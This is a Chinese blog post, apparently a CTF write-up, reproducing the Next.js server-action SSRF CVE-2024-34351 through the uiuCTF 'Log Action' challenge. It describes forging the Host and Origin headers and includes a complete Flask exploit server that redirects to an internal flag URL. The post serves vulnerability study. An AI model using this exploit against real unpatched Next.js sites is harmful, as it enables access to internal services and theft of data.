CVE-2024-34351 漏洞复现

CVE-2024-34351,由Next.js异步函数createRedirectRenderResult导致的SSRF。

影响版本:13.4.0<= Next.js < 14.1.1

参考文章:

Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub

在 NextJS 应用中挖掘 SSRF (assetnote.io)

CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

通过uiuCTF Log Action赛题复现,开题:

image-20240702042841986

点击之后是登录,正如题目描述,登录不起作用。

image-20240702042911958

给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。

image-20240702043046823

ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。

image-20240702044126433

引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。

CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult

在附件文件log-action\frontend\src\app\logout\page.tsx,确实用到了Next.js并且进行了路由跳转

image-20240702045039903

抓一下注销时候的包

image-20240702045159668

根据老哥的源代码分析,我们可以通过HOST头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin。服务器开启监听,收到请求!

image-20240702045714993

image-20240702045915007

OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。

接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)

在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24

但是这里后端服务的内部IP地址是172.18.0.2

直接看利用,py脚本上传服务器,python起一个服务

image-20240702051528443

exp.py

from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/login')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.18.0.2/flag.txt'
        return redirect(ssrfUrl)
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1717, debug=True)

image-20240702053503440

image-20240702053633311

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值